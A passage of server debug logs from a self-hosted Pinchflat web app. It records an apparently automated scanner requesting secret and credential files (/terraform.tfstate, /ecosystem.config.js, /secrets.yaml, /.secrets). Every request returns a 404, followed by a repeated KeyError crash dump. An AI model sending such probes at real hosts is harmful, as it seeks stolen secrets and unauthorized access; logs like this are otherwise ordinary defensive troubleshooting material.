private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/terraform.tfstate", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB (truncated) 15:22:04.581 [info] GET /ecosystem.config.js 15:22:04.581 [debug] QUERY OK source="settings" db=0.1ms idle=476.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:04.581 [debug] QUERY OK source="settings" db=0.0ms idle=476.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:04.581 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:04.581 [error] #PID<0.9782.0> running PinchflatWeb.Endpoint (connection #PID<0.9781.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /ecosystem.config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecosystem.config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9781.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecosystem.config.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9782.0>, params: %{}, path_info: ["ecosystem.config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/ecosystem.config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBvru47Uh2s8AAdkC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9781.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecosystem.config.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecosystem.config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9781.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecosystem.config.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9782.0>, params: %{}, path_info: ["ecosystem.config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], requ (truncated) 15:22:04.819 [info] GET /secrets.yaml 15:22:04.819 [debug] QUERY OK source="settings" db=0.1ms idle=474.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:04.820 [debug] QUERY OK source="settings" db=0.1ms idle=474.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:04.820 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:04.820 [error] #PID<0.9784.0> running PinchflatWeb.Endpoint (connection #PID<0.9783.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /secrets.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9783.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47156}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9784.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/secrets.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBwkkpYUzv6oAAdlC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9783.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47156}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9783.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47156}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9784.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/secrets.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBwkkpYUzv6oAAdlC"} ], (truncated) 15:22:05.056 [info] GET /secrets.yml 15:22:05.056 [debug] QUERY OK source="settings" db=0.1ms idle=532.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:05.056 [debug] QUERY OK source="settings" db=0.0ms idle=475.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:05.056 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:05.056 [error] #PID<0.9786.0> running PinchflatWeb.Endpoint (connection #PID<0.9785.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /secrets.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9785.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47158}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9786.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/secrets.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBxdAWOUo4T4AAdmC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9785.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47158}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9785.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47158}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9786.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/secrets.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBxdAWOUo4T4AAdmC"} ], sch (truncated) 15:22:05.292 [info] GET /.secrets 15:22:05.293 [debug] QUERY OK source="settings" db=0.1ms idle=711.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:05.293 [debug] QUERY OK source="settings" db=0.0ms idle=473.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:05.293 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:05.293 [error] #PID<0.9788.0> running PinchflatWeb.Endpoint (connection #PID<0.9787.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.secrets ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9787.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.secrets", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47160}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9788.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.secrets", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDByVZ_F9I7FEAAdnC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9787.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.secrets", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47160}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9787.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.secrets", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47160}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: 